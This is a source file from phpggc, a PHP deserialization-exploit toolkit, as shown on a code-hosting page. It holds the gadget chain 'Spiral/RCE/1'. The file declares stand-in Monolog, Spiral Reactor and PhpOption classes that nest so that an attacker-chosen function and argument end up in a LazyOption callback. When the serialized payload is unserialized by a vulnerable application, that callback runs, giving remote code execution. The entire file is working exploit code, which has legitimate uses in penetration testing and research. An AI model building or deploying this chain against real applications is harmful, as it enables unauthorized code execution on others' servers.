Codebase list phpggc / 885e085e-89d5-4fcc-933c-0b798a615af2/upstream/0.20221216 gadgetchains / Spiral / RCE / 1 / gadgets.php
885e085e-89d5-4fcc-933c-0b798a615af2/upstream/0.20221216

Tree @885e085e-89d5-4fcc-933c-0b798a615af2/upstream/0.20221216 (Download .tar.gz)

gadgets.php @885e085e-89d5-4fcc-933c-0b798a615af2/upstream/0.20221216raw · history · blame

<?php

namespace Monolog\Handler
{
    class RotatingFileHandler
    {
        protected $mustRotate;
        protected $filename;
        protected $filenameFormat;
        protected $dateFormat;

        function __construct($function,$param)
        {
            $this->dateFormat = "l";
            $this->mustRotate = true;
            $this->filename = "anything";
            $this->filenameFormat = new \Spiral\Reactor\FileDeclaration($function,$param);
        }
    }
}

namespace Spiral\Reactor
{
    class FileDeclaration
    {
        private $docComment;

        public function __construct($function,$parameter)
        {
            $this->docComment = new \PhpOption\LazyOption($function,$parameter);
        }
    }
}

namespace PhpOption
{
    class LazyOption
    {
        private $callback;
        private $arguments;

        public function __construct($function,$parameter)
        {
            $this->callback = $function;
            $this->arguments = [$parameter];
        }
    }
}